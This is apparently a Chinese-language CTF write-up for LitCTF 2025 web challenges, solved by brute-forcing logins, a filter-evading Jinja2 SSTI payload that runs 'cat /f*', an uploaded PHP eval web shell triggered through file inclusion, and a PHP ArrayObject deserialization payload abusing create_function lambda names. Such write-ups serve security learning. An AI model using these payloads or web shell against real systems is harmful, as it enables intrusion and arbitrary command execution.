Litctf2025WP-web

Litctf2025-WP

WEB

nest_js

登录界面,先考虑爆破

账户:admin

密码:password
成功获取flag
LitCTF{b11dd2bc-935b-47d7-ada1-dd12a3140c4a}

星愿信箱

一道简单的SSTI题目

输入

1
{%print joiner['__init__']['__globals__']['__builtins__']['__i''mport__']('so'[::-1])['p''open']('c''at /f*')['read']()%}

成功拿到flag

EasyFile

这道题先把御用字典每行base64编码,再进行admin爆破,爆破得到密码是payload

第一步完成,然后进入

还记得最开始源码里提示有file参数

在登录之后获得文件上传界面,发现存在file参数,是文件包含参数

然后简单测试文件上传,发现,后缀过滤比较严格,而内容

1
<?= @eval($_GET[cmd]); ?>

可以实现绕过

这样的话,基本就结束了

上传,1.txt文件以这样的内容

再去用file进行文件包含,即可执行任意命令获取flag

POP

POP

没见过C开头,因此花了很长时间理解

1
2
$a = 'x:i:0;'.$a.';m:a:0:{}'; $length = strlen($a);
echo 'C:11:"ArrayObject":'.$length.':{'.$a.'}';

试了一下phpinfo,成功拿到配置信息,方向没错
然后注意create_function函数
注意要url编码才能传入%00
传入

1
Litctf2025=C%3A11%3A%22ArrayObject%22%3A73%3A%7Bx%3Ai%3A0%3BO%3A4%3A%22Taki%22%3A2%3 A%7Bs%3A6%3A%22musubi%22%3Bs%3A9%3A%22%00lambda_1%22%3Bs%3A5%3A%22magic% 22%3BN%3B%7D%3Bm%3Aa%3A0%3A%7B%7D%7D

直接传入拿到flag 根本没有链子原来 %00lambda_0

总结一下就是create_function()这个函数的漏洞,他create之后会自动生成一个函数名 为%00lambda_[0-999],后面的数字会逐步递增测到2就出了flag

(这道题根本就没有链子